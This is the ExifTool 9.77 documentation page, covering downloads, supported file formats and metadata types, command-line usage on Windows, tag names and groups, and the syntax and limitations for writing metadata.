ExifTool is also available as a stand-alone Windows executable and a Macintosh OS X package: (Note that these versions contain the executable only, and do not include the HTML documentation or other files of the full distribution above.)
Windows Executable: exiftool-9.77.zip (3.7 MB)
The stand-alone Windows executable does not require Perl. Just download and un-zip the archive then double-click on "exiftool(-k).exe" to read the application documentation, drag-and-drop files and folders to view meta information, or rename to "exiftool.exe" for command-line use. Runs on all versions of Windows (including Windows 7).
Mac OS X Package: ExifTool-9.77.dmg (2.4 MB)
The OS X package installs the ExifTool command-line application and libraries in /usr/bin. After installing, type "exiftool" in a Terminal window to run exiftool and read the application documentation.
Read the installation instructions for help installing ExifTool on Windows, Mac OS X and Unix systems.

Features

A Note to Unix Power-Users

If you find the need to use "find" or "awk" in conjunction with ExifTool, then you probably haven't discovered the full power of ExifTool. Read about the -ext, -if, -p and -tagsFromFile options in the application documentation.

Comments by ExifTool Users

"In my experience, nothing but nothing is as complete, powerful, and flexible as Phil Harvey's exiftool ... I've never seen anything that's in the same ballpark for power." - dpreview forum
"While there are a lot of image tools available, nothing comes close for accessing/updating the metadata like ExifTool" - merg's blog
"Fast, reliable and amazingly comprehensive ..." - CPAN ratings
"... the one piece of free software that gets the most detailed exif data of /any/ tool I've found." - gnome mail archives
"... no program or API gets close to ExifTool in terms of robustness, feature count and support." - CE's Blog
"ExifTool makes every other EXIF reader (and writer) than I've seen, including the camera manufacturers' readers, look lame." - photo.net Nikon forum
"Insanely great tool with a long learning curve ..." - Adobe Forums
"... it's super awesome, it's super reliable and after many years of development it's still being updated!" - P_W999 blog
"... it is the mother of all EXIF utilities; the BFG of meta-data extraction; the Pan Galactic Gargle Blaster of EXIF tools ... This thing will suck the last bit of metadata out of whatever image file you throw at it!" - Open Photography Forums

Supported File Types

ExifTool can Read, Write and/or Create files in the following formats. Also listed are the support levels for EXIF, IPTC, XMP, ICC_Profile and other metadata types for each file format.
File TypeSupportDescriptionEXIFIPTCXMPICC1Other
3FRRHasselblad RAW (TIFF-based)RRRR-
3G2, 3GP2R/W3rd Gen. Partnership Project 2 a/v (QuickTime-based)R2R2R/W/C-R/W QuickTime3
3GP, 3GPPR/W3rd Gen. Partnership Project a/v (QuickTime-based)R2R2R/W/C-R/W QuickTime3
ACRRAmerican College of Radiology ACR-NEMA (DICOM-like)----R DICOM
AFM, ACFM, AMFMRAdobe [Composite/Multiple Master] Font Metrics----R Font
AI, AITR/WAdobe Illustrator [Template] (PS or PDF)R/W/C4R/W/C4R/W/CR/W/C4R/W/C PDF PostScript, R Photoshop
AIFF, AIF, AIFCRAudio Interchange File Format [Compressed]----R AIFF ID3
APERMonkey's Audio----R APE ID3
ARWR/WSony Alpha RAW (TIFF-based)R/W/CR/W/CR/W/CR/W/CR/W Sony SonyIDC
ASFRMicrosoft Advanced Systems Format--R-R ASF
AVIRAudio Video Interleaved (RIFF-based)R2-R-R RIFF
BMP, DIBRWindows BitMaP / Device Independent Bitmap----R BMP
BTFRBigTIFF (64-bit Tagged Image File Format)RRRR-
CHMRMicrosoft Compiled HTML format----R EXE
COSRCapture One Settings (XML-based)----R XML
CR2R/WCanon RAW 2 (TIFF-based)R/W/CR/W/CR/W/CR/W/CR/W/C CanonVRD, R/W Canon
CRW, CIFFR/WCanon RAW Camera Image File Format (CRW spec.)--R/W/C-R/W/C CanonVRD, R/W CanonRaw
CS1R/WSinar CaptureShop 1-shot RAW (PSD-based)R/W/CR/W/CR/W/CR/W/CR Photoshop
DCM, DC3, DIC, DICMRDICOM - Digital Imaging and Communications in Medicine----R DICOM
DCPR/WDNG Camera Profile (DNG-like)R/W/CR/W/CR/W/CR/W/C-
DCRRKodak Digital Camera RAW (TIFF-based)RRRR-
DFONTRMacintosh Data Fork Font----R Font
DIVXRDivX media format (ASF-based)--R-R ASF
DJVU, DJVRDjVu image (AIFF-like)--R-R DJVU
DNGR/WDigital Negative (TIFF-based)R/W/CR/W/CR/W/CR/W/C-
DOC, DOTRMicrosoft Word Document/Template (FPX-like)--RRR FlashPix
DOCX, DOCMROffice Open XML Document [Macro-enabled]----R XML ZIP
DOTX, DOTMROffice Open XML Document Template [Macro-enabled]----R XML ZIP
DPXRDigital Picture Exchange----R DPX
DYLIBRMac OS X Mach-O executable and library files----R EXE
DVRDigital Video----R DV
DVBR/WDigital Video Broadcasting (QuickTime-based)R2R2R/W/C-R/W QuickTime3
EIPRCapture One Enhanced Image Package (ZIP-based)R---R XML ZIP
EPS, EPSF, PSR/W[Encapsulated] PostScript FormatR/W/CR/W/CR/W/CR/W/CR/W/C PostScript, R Photoshop
EPUBRElectronic Publication (ZIP/XML-based)----R XML ZIP
ERFR/WEpson RAW Format (TIFF-based)R/W/CR/W/CR/W/CR/W/CR/W Olympus
EXE, DLLRDOS/Windows executable and library files----R EXE
EXIFR/W/CExchangable Image File Format metadata (TIFF-based)R/W/C----
EXRROpen EXR (Extended Range)----R OpenEXR
EXVR/W/CExiv2 metadata file (JPEG-based)R/W/CR/W/CR/W/CR/W/CSupported JPEG Meta Information
F4A, F4B, F4P, F4VR/WAdobe Flash Player 9+ Audio/Video (QuickTime-based)R2R2R/W/C-R/W QuickTime3
FFFR/WHasselblad Flexible File Format (TIFF-based)R/W/CR/W/CR/W/CR/W/C-
FFFRFLIR Systems thermal image File Format----R FLIR
FLARMacromedia/Adobe Flash project (FPX-like)--RRR FlashPix
FLACRFree Lossless Audio Codec----R FLAC ID3
FLVRFlash Video--R-R Flash
FPFRFLIR Public image Format----R FLIR
FPXRFlashPix image--RRR FlashPix
GIFR/WCompuserve Graphics Interchange Format--R/W/CR/W/CR/W/C GIF
GZ, GZIPRGNU ZIP compressed archive----R ZIP
HDP, WDP, JXRR/WWindows HD Photo / Media Photo / JPEG XR (TIFF-based)R/W/CR/W/CR/W/CR/W/C-
HDRRRadiance RGBE High Dynamic-Range----R Radiance
HTML, HTM, XHTMLR[Extensible] HyperText Markup Language----R HTML
ICC, ICMR/W/C1International Color Consortium color profile---R/W/C-
IDMLRAdobe InDesign Markup Language (ZIP/XML-based)----R XML ZIP
IIQR/WPhase One Intelligent Image Quality RAW (TIFF-based)R/W/CR/W/CR/W/CR/W/CR PhaseOne
IND, INDD, INDTR/WAdobe InDesign Document/Template--R/W/C--
INXRAdobe InDesign Interchange (XML-based)--R--
ITCRiTunes Cover Flow artwork----R ITC
J2C, JPCRJPEG 2000 codestreamR2R2RRR Jpeg2000 Photoshop2
JP2, JPF, J2K, JPM, JPXR/WJPEG 2000 image [Compound/Extended]R/W/C2R/W/C2R/W/CRR/W/C Jpeg2000, R Photoshop2
JPEG, JPG, JPER/WJoint Photographic Experts Group imageR/W/CR/W/CR/W/CR/W/CSupported JPEG Meta Information
K25RKodak DC25 RAW (TIFF-based)RRRR-
KDCRKodak Digital Camera RAW (TIFF-based)RRRRR Kodak
KEY, KTHRApple iWork '09 Keynote presentation/Theme----R XML ZIP
LARLossless Audio (RIFF-based)R2-R-R RIFF
LFP, LFRRLytro Light Field Picture----R Lytro
LNKRMicrosoft Shell Link (Windows shortcut)----R LNK
M2TS, MTS, M2T, TSRMPEG-2 Transport Stream (used for AVCHD video)----R M2TS H264
M4A, M4B, M4P, M4VR/WMPEG-4 Audio/Video (QuickTime-based)R2R2R/W/C-R/W QuickTime3
MEFR/WMamiya (RAW) Electronic Format (TIFF-based)R/W/CR/W/CR/W/CR/W/C-
MIER/W/CMeta Information Encapsulation (MIE specification)R/W/CR/W/CR/W/CR/W/CR/W/C MIE
MIFF, MIFRMagick Image File FormatRRRRR MIFF Photoshop
MKA, MKV, MKSRMatroska Audio/Video/Subtitle----R Matroska
MOBI, AZW, AZW3RMobipocket electronic book (Palm-based)----R Palm MOBI
MODDRSony Picture Motion metadata (XML PLIST-based)----R PLIST
MOSR/WCreo Leaf Mosaic (TIFF-based)R/W/CR/W/CR/W/CR/W/CR Leaf
MOV, QTR/WApple QuickTime MovieRRR/W/C-R/W QuickTime3
MP3RMPEG-1 layer 3 audio----R MPEG ID3 APE
MP4R/WMotion Picture Experts Group version 4 (QuickTime-based)R2R2R/W/C-R/W QuickTime3
MPCRMusepack Audio----R MPC ID3 APE
MPEG, MPG, M2VRMotion Picture Experts Group version 1 or 2----R MPEG ID3
MPOR/WExtended Multi-Picture format (JPEG with MPF extensions)R/W/CR/W/CR/W/CR/W/CSupported JPEG Meta Information
MQVR/WSony Mobile QuickTime VideoR2R2R/W/C-R/W QuickTime3
MRWR/WMinolta RAWR/W/CR/W/CR/W/CR/W/CR/W MinoltaRaw Minolta
MXFRMaterial Exchange Format----R MXF
NEFR/WNikon (RAW) Electronic Format (TIFF-based)R/W/CR/W/CR/W/CR/W/CR/W Nikon NikonCapture
NMBTEMPLATERApple iWork '09 Numbers Template----R XML ZIP
NRWR/WNikon RAW (2) (TIFF-based)R/W/CR/W/CR/W/CR/W/CR/W Nikon NikonCapture
NUMBERSRApple iWork '09 Numbers spreadsheet----R XML ZIP
ODB, ODC, ODF, ODG,
ODI, ODP, ODS, ODT
ROpen Document Database/Chart/Formula/Graphics/
Image/Presentation/Spreadsheet/Text (ZIP/XML-based)
----R XML ZIP
OFRROptimFROG audio (RIFF-based)R2-R-R RIFF
OGG, OGVROgg bitstream container----R FLAC ID3 Theora Vorbis
ORFR/WOlympus RAW Format (TIFF-based)R/W/CR/W/CR/W/CR/W/CR/W Olympus
OTFROpen Type Font----R Font
PACRLossless Predictive Audio Compression (RIFF-based)R2-R-R RIFF
PAGESRApple iWork '09 Pages document----R XML ZIP
PCDRKodak Photo CD Image Pac----R PhotoCD
PDB, PRCRPalm Database----R Palm
PDFR/WAdobe Portable Document FormatR2R2R/W/CR2R/W/C PDF, R Photoshop
PEFR/WPentax (RAW) Electronic Format (TIFF-based)R/W/CR/W/CR/W/CR/W/CR/W Pentax
PFA, PFBRPostScript Font ASCII/Binary----R Font
PFMRPrinter Font Metrics----R Font
PGFRProgressive Graphics File----R PGF PNG
PICT, PCTRApple Picture file---RR PICT Photoshop
PLISTRApple Property List (binary and XML formats)----R PLIST
PMPRSony DSC-F1 Cyber-Shot image----R Sony
PNG, JNG, MNGR/WPortable/JPEG/Multiple-image Network GraphicsR/W/C2R/W/C2R/W/CR/W/CR/W/C PNG
PPM, PBM, PGMR/WPortable Pixel/Bit/Gray Map----R PPM
PPT, PPS, POTRPowerPoint Presentation/Slideshow/Template (FPX-like)--RRR FlashPix
POTX, POTMROffice Open XML Presentation Template [Macro-enabled]----R XML ZIP
PPSX, PPSMROffice Open XML Presentation Slideshow [Macro-enabled]----R XML ZIP
PPTX, PPTMROffice Open XML Presentation [Macro-enabled]----R XML ZIP
PSD, PSBR/WPhotoShop Document / Large DocumentR/W/CR/W/CR/W/CR/W/CR Photoshop
PSP, PSPIMAGERPaint Shop ProR---R PSP
QTIF, QTI, QIFR/WQuickTime Image FileR2R2R/W/C-R/W QuickTime3
RARReal Audio----R Real ID3
RAFR/WFujiFilm RAW FormatR/W/CR/W/CR/W/CR/W/CR/W FujiFilm
RAM, RPMRReal Audio/Plug-in Metafile----R Real
RARRRAR Archive----R ZIP
RAWRKyocera Contax N Digital RAW----R KyoceraRaw
RAWR/WPanasonic RAW (TIFF-based)R/W/CR/W/CR/W/CR/W/CR/W PanasonicRaw Panasonic
RIFF, RIFRResource Interchange File FormatR2-R-R RIFF
RM, RV, RMVBRReal Media/Video [Variable Bitrate]----R Real
RSRCRMac OS Resource----R RSRC Photoshop PostScript Font
RTFRRich Text Format----R RTF
RW2R/WPanasonic RAW 2 (TIFF-based)R/W/CR/W/CR/W/CR/W/CR/W PanasonicRaw Panasonic
RWLR/WLeica RAW (TIFF-based)R/W/CR/W/CR/W/CR/W/CR/W PanasonicRaw Panasonic
RWZRRawzor compressed imageRRRRR Rawzor
SEQRFLIR Systems image Sequence----R FLIR
SORUnix ELF executable and Shared Object files----R EXE
SR2R/WSony RAW 2 (TIFF-based)R/W/CR/W/CR/W/CR/W/CR/W Sony
SRFRSony RAW Format (TIFF-based)RRRRR Sony
SRWR/WSamsung RAW format (TIFF-based)R/W/CR/W/CR/W/CR/W/CR/W Samsung
SVGRScalable Vector Graphics (XML-based)----R SVG
SWFRShockwave Flash--R-R Flash
THMR/WCanon Thumbnail (JPEG)R/W/CR/W/CR/W/CR/W/CSupported JPEG Meta Information
THMXROffice Open XML Theme----R XML ZIP
TIFF, TIFR/WTagged Image File FormatR/W/CR/W/CR/W/CR/W/CR/W/C GeoTIFF1, R/W Trailers
TTF, TTCRTrue Type Font/Collection----R Font
TORRENTRBitTorrent description file----R Torrent
VOBRVideo Object (MPEG-based)----R MPEG
VRDR/W/CCanon DPP Recipe Data--R/W/C-R/W/C CanonVRD
VSDRMicrosoft Visio Drawing (FPX-like)--RRR FlashPix
WAVRWindows digital audio WAVeform (RIFF-based)R2-R-R RIFF
WEBMRGoogle Web Movie (MKV-based)----R MKV
WEBPRGoogle Web Picture (RIFF-based)R2-R-R RIFF
WMA, WMVRWindows Media Audio/Video (ASF-based)--R-R ASF
WVRWavePack lossless audio (RIFF-based)R2-R-R RIFF
X3FR/WSigma/Foveon RAWR/W/CR/W/CR/W/CR/W/CR/W Sigma, R SigmaRaw
XCFRGIMP native image formatRRRRR GIMP
XLS, XLTRMicrosoft Excel Spreadsheet/Template (FPX-like)--RRR FlashPix
XLSX, XLSM, XLSBROffice Open XML Spreadsheet [Macro-enabled/Binary]----R XML ZIP
XLTX, XLTMROffice Open XML Spreadsheet Template [Macro-enabled]----R XML ZIP
XMPR/W/CExtensible Metadata Platform sidecar file--R/W/C--
ZIPRZIP archive----R ZIP
1 Block write only, 2 Non-standard format, 3 Writes only some date/time tags, 4 Only writable for PostScript-format file type

Supported JPEG Meta Information

ExifTool can Read, Write and/or Create the following types of meta information in JPEG images:
JPEG Meta InformationSupportDescription
APP0 - JFIFR/W/CJPEG File Interchange Format
APP0 - JFXXRExtended JFIF
APP0 - CIFFR/WCamera Image File Format (used by some Canon models)
APP0 - AVI1RJPEG AVI information
APP0 - OcadRPhotobucket Ocad segment
APP1 - EXIFR/W/CExchangeable Image File Format (including maker notes)
APP1 - XMPR/W/CExtensible Metadata Platform (multi-segment)
APP1 - QVCIRCasio QV-7000SX QVCI information
APP1 - FLIRRFLIR thermal imaging data (multi-segment)
APP2 - ICCR/W/CInternational Color Consortium (multi-segment)
APP2 - FPXRRFlashPix Ready (multi-segment)
APP2 - MPFRMulti-Picture Format
APP2 - PreviewImageRSamsung/GE APP2 preview image (multi-segment)
APP3 - Kodak MetaR/WKodak Meta information (EXIF-like)
APP3 - StimRStereo Still Image format
APP3 - PreviewImageRSamsung/HP preview image (multi-segment)
APP4 - ScaladoR(presumably written by Scalado mobile software)
APP4 - FPXRRFlashPix Ready in non-standard location (multi-segment)
APP4 - PreviewImageR(continued from APP3)
APP5 - Ricoh RMETARRicoh custom fields
APP5 - PreviewImageR(continued from APP4)
APP6 - EPPIMRToshiba PrintIM
APP6 - NITFRNational Imagery Transmission Format
APP6 - HP TDHDRHewlett-Packard Photosmart R837 TDHD information
APP7 - PentaxRPentax APP7 maker notes
APP7 - QualcommRQualcomm Camera Attributes
APP8 - SPIFFRStill Picture Interchange File Format
APP9 - Media JukeboxRMedia Jukebox XML information
APP10 - CommentRPhotoStudio Unicode Comment
APP11 - JPEG-HDRRJPEG-HDR compressed ratio image
APP12 - Picture InfoRASCII-based Picture Information
APP12 - DuckyR/W/CPhotoshop "Save for Web"
APP13 - Photoshop IRBR/W/CImage Resource Block (multi-segment, includes IPTC)
APP13 - Adobe CMRAdobe Color Management
APP14 - AdobeR/W/CAdobe DCT filter
APP15 - GraphicConverterRGraphicConverter quality
COMR/W/CJPEG Comment (multi-segment)
DQTR(used to calculate the Extra:JPEGDigest tag value)
SOFRJPEG Start Of Frame
Trailers 1
AFCP trailerR/WAXS File Concatenation Protocol (includes IPTC)
CanonVRD trailerR/W/CCanon DPP Recipe Data
FotoStation trailerR/WFotoWare FotoStation (includes IPTC)
PhotoMechanic trailerR/WCamera Bits Photo Mechanic
MIE trailerR/WMeta Information Encapsulation
Samsung trailerRSamsung Galaxy trailer
PreviewImage trailerR/W/C(preview image written after JPEG EOI)
1 All trailers except Samsung and PreviewImage also have R/W support in TIFF images.

System Requirements

Requires Perl 5.004 or later. No other libraries or software required.
Windows users: A stand-alone Windows executable version of ExifTool is available which doesn't require Perl. You can also use the pure Perl version if you already have Perl installed. (You can get a good, free Perl interpreter from activeperl.com.)
Everyone else (Mac, Unix, etc): Don't worry, you should already have Perl installed.

Running ExifTool

The exiftool application provides a convenient command-line interface for the Image::ExifTool Perl package (both included in the full distribution). Once you have downloaded and extracted the distribution, you can immediately run exiftool (without building or installing) by typing "DIR/exiftool FILE" (or "perl DIR/exiftool FILE" in Windows), where DIR is the exiftool directory and FILE is the name of an image file, including directory name. Read the installation instructions or the README file included in the full distribution for help installing ExifTool.
Many command-line options are available to allow you to access a wide range of features. Run exiftool with no arguments for a complete list of available options with examples.

Running in Windows

i) From the command line:
The Perl application ("exiftool") is run by typing "perl exiftool". Alternately, you may be able to rename it to "exiftool.pl" and type "exiftool.pl", but this requires that the proper Windows associations have been made for the the ".pl" extension.
The stand-alone version ("exiftool(-k).exe") should be renamed to "exiftool.exe" to allow it to be run by typing "exiftool" at the command line.
If the exiftool executable ("exiftool.pl" or "exiftool.exe") is not in the current directory or your system PATH, then its directory must be specified on the command line (eg. by typing "c:\path_to_exiftool\exiftool.pl" or "c:\path_to_exiftool\exiftool").
Note that when typing commands in the "cmd.exe" shell, you should use double quotes instead of single quotes as shown in some examples.
ii) Stand-alone version in the Windows GUI:
Double-click on "exiftool(-k).exe" to read the application documentation, or drag-and-drop files and folders to run exiftool on the selected files.
Simple options may be added inside brackets in the name of the stand-alone executable. (But note that the characters /\?*:|"<> may not be used because they are invalid in Windows file names.) In this way, the behaviour of the drag-and-drop application can be customized. For example:
Executable NameOperation
exiftool(-k).exe
Print meta information in window and pause before terminating.
exiftool(-k -a -u -g1 -w txt).exe
Generate output ".txt" files with detailed meta information.
exiftool(-k -o %d%f.xmp).exe
Generate sidecar ".xmp" files.
exiftool(-copyright='Phil Harvey').exe
Add copyright information (and don't pause before terminating).
Hint: Options may also be added to the "Target" property of a Windows shortcut for the executable. Using a shortcut has 3 advantages over adding options in the file name: 1) different shortcuts may be created without requiring multiple copies of the executable, 2) characters which are invalid in file names may be used, and 3) the shortcuts can be given more meaningful (and convenient) file names.
As well, it may be useful to increase the window and buffer sizes to display more information: Right-click on the window's title bar then select "Properties" from the menu and change the window layout settings.

Example Output

> exiftool -h -canon pics/IMG_0315.JPG
 
File NameIMG_0315.JPG
Camera Model NameCanon EOS DIGITAL REBEL
Date/Time Original2003:09:30 13:37:51
Shooting ModeSports
Shutter Speed1/2000
Aperture7.1
Metering ModeEvaluative
Exposure Compensation0
ISO400
Lens75.0 - 300.0 mm
Focal Length300.0 mm
Image Size3072x2048
QualityNormal
FlashOff, Did not fire
White BalanceAuto
Focus ModeAI Servo AF
Contrast+1
Sharpness+1
Saturation+1
Color ToneNormal
File Size1606 kB
File Number103-0315
Drive ModeContinuous shooting
Owner NamePhil Harvey
Serial Number0560012345
> exiftool -lang ja -h -canon pics/IMG_0315.JPG
 
ファイル名IMG_0315.JPG
画像入力機器モデルCanon EOS DIGITAL REBEL
オリジナルデータ作成日時2003:09:30 13:37:51
撮影モードスポーツ
露出時間1/2000
絞り7.1
測光モード評価
露出補正値0
ISOスピードレート400
レンズ75.0 - 300.0 mm
レンズ焦点距離300.0 mm
イメージサイズ3072x2048
品質標準
ストロボフラッシュ未発光、強制発光モード
ホワイトバランスオート
フォーカスモードAIサーボAF
コントラスト+1
シャープネス+1
彩度+1
カラートーン標準
ファイルのサイズ1606 kB
ファイル番号103-0315
ドライブモード連続撮影
オーナー名Phil Harvey
シリアル番号0560012345

Verbose and HtmlDump Output

The Verbose (-v) and HtmlDump (-htmlDump) options print additional information that can be very useful for debugging or when decoding new tags.

Tag Names Explained

A tag name is a "handle" that is used to refer to a specific piece of meta information. Tag names are entered on the command line with a leading '-', in the order you want them displayed. Case is not significant. The tag name may be prefixed by a group name from family 0 or 1 (separated by a colon) to identify a specific information type or location. A special tag name of "All" may be used to represent all tags, or all tags in a specified group. For example:
exiftool -filename -imagesize -exif:fnumber -xmp:all image.jpg
A complete list of ExifTool Tag Names accompanies this documentation. As well, current lists of available tag names and writable tag names may be obtained using the exiftool -list and -listw options. But perhaps the easiest way to determine a tag name is to use the -s option to print the tag names instead of descriptions for all information in a file. It may also be helpful to use the -G option to display the group names, and the -H or -D option to print the numerical tag ID's for reference.
Notes:
  1. Tag names sometimes differ from their descriptions. Use the -s command-line option to see the actual tag names instead of the descriptions shown when extracting information.
  2. When extracting information, tags will not appear in the output unless they exist in the file, even if they are specified on the command line. The -f option may be used to force all specified tags to be displayed.
  3. Information for a given tag name may occur in multiple locations within a single file. By default these duplicate tags are suppressed, but the -a option may be used to extract all tags.
  4. Tag names may be suffixed by a '#' character to disable the print conversion on a per-tag basis. See the -n option in the application documentation for more information.

Shortcut Tags

Shortcut tags represent one or more other tags, and are used like any other tag when reading, writing or copying information.
ExifTool defines a few shortcut tags in the Image::ExifTool::Shortcuts module, and allows users to define their own shortcuts in a configuration file called ".ExifTool_config" in their home directory or exiftool application directory. Here is a simple example that defines two shortcuts:
%Image::ExifTool::UserDefined::Shortcuts = (
    MyShortcut => ['createdate','exposuretime','aperture'],
    MyAlias => 'FocalLengthIn35mmFormat',
);
In this example, MyShortcut is a shortcut for the CreateDate, ExposureTime and Aperture tags, and MyAlias is a shortcut for FocalLengthIn35mmFormat.
The current shortcuts may be listed with the -list option.
The ~/.ExifTool_config file may also be used to define new tags. For more information about the configuration file, see the sample configuration file included with the ExifTool distribution.
Windows tip: You may have difficulty generating a filename beginning with a '.' in the Windows GUI, but it can be done with the "rename" command at the cmd.exe prompt.

Tag Groups

ExifTool classifies tags into groups in five different families. These groups are:
FamilyGroup Names
0 (Information Type) AFCP, AIFF, APE, APP0, APP1, APP11, APP12, APP13, APP14, APP15, APP4, APP5, APP6, APP8, ASF, CanonVRD, Composite, DICOM, DNG, DV, DjVu, Ducky, EXE, EXIF, ExifTool, FLAC, FLIR, File, Flash, FlashPix, Font, FotoStation, GIF, GIMP, GeoTiff, H264, HTML, ICC_Profile, ID3, IPTC, ITC, JFIF, JPEG, Jpeg2000, LNK, Leaf, Lytro, M2TS, MIE, MIFF, MNG, MPC, MPEG, MPF, MXF, MakerNotes, Matroska, Meta, Ogg, OpenEXR, PDF, PICT, PLIST, PNG, PSP, Palm, PanasonicRaw, PhotoCD, PhotoMechanic, Photoshop, PostScript, PrintIM, QuickTime, RAF, RIFF, RSRC, RTF, Radiance, Rawzor, Real, SVG, SigmaRaw, Stim, Theora, Torrent, Vorbis, XML, XMP, ZIP
1 (Specific Location) AC3, AFCP, AIFF, APE, ASF, AVI1, Adobe, AdobeCM, AdobeDNG, Apple, CIFF, Canon, CanonCustom, CanonRaw, CanonVRD, Casio, Chapter#, Composite, DICOM, DNG, DV, DjVu, DjVu-Meta, Ducky, EPPIM, EXE, EXIF, ExifIFD, ExifTool, FLAC, FLIR, File, Flash, FlashPix, Font, FotoStation, FujiFilm, FujiIFD, GE, GIF, GIMP, GPS, GeoTiff, GlobParamIFD, GraphConv, H264, HP, HTC, HTML, HTML-dc, HTML-ncc, HTML-office, HTML-prod, HTML-vw96, HTTP-equiv, ICC-chrm, ICC-clrt, ICC-header, ICC-meas, ICC-meta, ICC-view, ICC_Profile, ICC_Profile#, ID3, ID3v1, ID3v1_Enh, ID3v2_2, ID3v2_3, ID3v2_4, IFD0, IFD1, IPTC, IPTC#, ITC, InteropIFD, JFIF, JPEG, JPEG-HDR, JVC, Jpeg2000, KDC_IFD, Kodak, KodakBordersIFD, KodakEffectsIFD, KodakIFD, KyoceraRaw, LNK, Leaf, LeafSubIFD, Leica, Lytro, M2TS, MAC, MIE-Audio, MIE-Camera, MIE-Canon, MIE-Doc, MIE-Extender, MIE-Flash, MIE-GPS, MIE-Geo, MIE-Image, MIE-Lens, MIE-Main, MIE-MakerNotes, MIE-Meta, MIE-Orient, MIE-Preview, MIE-Thumbnail, MIE-UTM, MIE-Unknown, MIE-Video, MIFF, MNG, MOBI, MPC, MPEG, MPF0, MPImage, MXF, MakerNotes, MakerUnknown, Matroska, MediaJukebox, MetaIFD, Microsoft, Minolta, MinoltaRaw, NITF, Nikon, NikonCapture, NikonCustom, NikonScan, Nintendo, Ocad, Ogg, Olympus, OpenEXR, PDF, PICT, PNG, PNG-pHYs, PSP, Palm, Panasonic, PanasonicRaw, Pentax, PhaseOne, PhotoCD, PhotoMechanic, Photoshop, PictureInfo, PostScript, PreviewIFD, PrintIM, ProfileIFD, Qualcomm, QuickTime, RAF, RAF2, RIFF, RMETA, RSRC, RTF, Radiance, Rawzor, Real, Real-CONT, Real-MDPR, Real-PROP, Real-RA3, Real-RA4, Real-RA5, Real-RJMD, Reconyx, Ricoh, SPIFF, SR2, SR2DataIFD, SR2SubIFD, SRF#, SVG, Samsung, Sanyo, Scalado, Sigma, SigmaRaw, Sony, SonyIDC, Stim, SubIFD, System, Theora, Torrent, Track#, Version0, Vorbis, XML, XMP, XMP-DICOM, XMP-GPano, XMP-MP, XMP-MP1, XMP-PixelLive, XMP-aas, XMP-acdsee, XMP-album, XMP-apple-fi, XMP-aux, XMP-cc, XMP-cell, XMP-crs, XMP-dc, XMP-dex, XMP-digiKam, XMP-dwc, XMP-exif, XMP-exifEX, XMP-expressionmedia, XMP-extensis, XMP-fpv, XMP-getty, XMP-ics, XMP-iptcCore, XMP-iptcExt, XMP-lr, XMP-mediapro, XMP-microsoft, XMP-mwg-coll, XMP-mwg-kw, XMP-mwg-rs, XMP-pdf, XMP-pdfx, XMP-photomech, XMP-photoshop, XMP-plus, XMP-prism, XMP-prl, XMP-pur, XMP-rdf, XMP-swf, XMP-tiff, XMP-x, XMP-xmp, XMP-xmpBJ, XMP-xmpDM, XMP-xmpMM, XMP-xmpNote, XMP-xmpPLUS, XMP-xmpRights, XMP-xmpTPg, ZIP
2 (Category) Audio, Author, Camera, Document, ExifTool, Image, Location, Other, Printing, Time, Unknown, Video
3 (Document Number) Doc#, Main
4 (Instance Number) Copy#
The exiftool output can be organized based on these groups using the -g or -G option. See the GetGroup function in the ExifTool library for a description of the group families.

Writing Meta Information

When writing information, ExifTool preserves the original file by adding "_original" to the file name. Be sure to keep a copy of the original, or thoroughly validate the new file before erasing the original. (Read here for some ramblings on the subject of writing meta information.)

Syntax

Tag values are written rather than being extracted if any tag name ends with a '=' symbol (or if the -tagsFromFile or -geotag options are used). The '=' may be prefixed by '+', '-' or '<' to add a value, remove a value or set a value from file. The following table outlines the different write syntaxes:
SyntaxResult
-TAG=Deletes all occurrences of TAG
-all=Deletes all meta information!
-GROUP:TAG=Deletes TAG only in specified group
-GROUP:all=Deletes all information in specified group
-[GROUP:]TAG=VALUESets value of TAG (only in GROUP if specified)
-[GROUP:]TAG+=VALUEAdds item to a list, shifts a date/time, or increments a number
-[GROUP:]TAG-=VALUERemoves item from a list, shifts a date/time, or deletes TAG if it has the specified value
-[GROUP:]TAG<=FILESets tag value from contents of specified file
See the Writer Limitations for some limitations of this feature.
Quotes are required around VALUE if it contains spaces or other special characters, and around the whole argument if the '<=' syntax is used (to prevent shell redirection).
A special feature allows the print conversion to be disabled on a per-tag basis by suffixing any tag name (including 'all') with the '#' character. This has the same effect as the -n option, but for a single tag. See the -n option in the application documentation for more details.
Note: Changes to PDF files are reversible because the original metadata is never actually deleted from these files. See the PDF Tags documentation for details.

Group Priorities

ExifTool prioritizes the following types of meta information when writing:
1) EXIF,   2) IPTC,   3) XMP
Many tag names are valid for more than one of these groups. If a group name is not specified when writing information, then the information is added only to the highest priority group for which the tag name is valid (however, the information is updated in all groups where the tag already existed). The priority of the groups is given by the list above. Specifically, this means that new information is added preferentially to the EXIF group, or to the IPTC group if no corresponding EXIF tag exists, or finally to the XMP group.
Alternatively, information may be written to a specific group only, bypassing these priorities, by providing a group name for the tag. The "Writing Meta Information" section above gave the syntax rules for exiftool command-line arguments to do this. Any family 0 or 1 group name may be used when writing information, although not all groups are writable.

The "-tagsFromFile" Option

A special ExifTool option allows copying tags from one file to another. The command-line syntax for doing this is "-tagsFromFile SRCFILE". Any tags specified after this option on the command line are extracted from source file and written to the destination file. If no tags are specified, then all writable tags are copied. This option is very simple, yet very powerful. Depending on the formats of the source and destination files, some of tags read may not be valid in the destination file, in which case they aren't written.
This option may also be used to transfer information between different tags within a single image or between different images. See the -tagsFromFile option in the application documentation for more details.

Writer Limitations

  • ExifTool will not rewrite a file if it detects a significant problem with the file format.
  • ExifTool has been tested with a wide range of different images, but since it is not possible to test it with every known image type, there is the possibility that it will corrupt some files. Be sure to keep backups of your files.
  • Even though ExifTool does some validation of the information written, it is still possible to write illegal values which may cause problems when reading the images with other software. So take care to validate the information you are writing.
  • ExifTool is not guaranteed to remove metadata completely from a file when attempting to delete all metadata. For JPEG images, all APP segments and trailers are removed which effectively removes all metadata, but for other formats the results are less complete:
    • JPEG - APP segments and trailers are removed.
    • TIFF - XMP, IPTC and the ExifIFD are removed, but some EXIF may remain in IFD0.
    • PNG - Only iTXt, tEXt and zTXt chunks (including XMP) are removed.
    • PDF - The original metadata is never actually removed.
    • PS - Only some PostScript and XMP may be deleted.
    • MOV/MP4 - Only XMP is deleted.
    • RAW formats - It is not recommended to remove all metadata from RAW images because this may remove some proprietary information that is necessary for the image to be properly rendered.

Known Problems

  • In Windows, ExifTool will not process files with Unicode characters in the file name. This is due to an underlying lack of support for Unicode filenames in the Windows standard C I/O libraries.
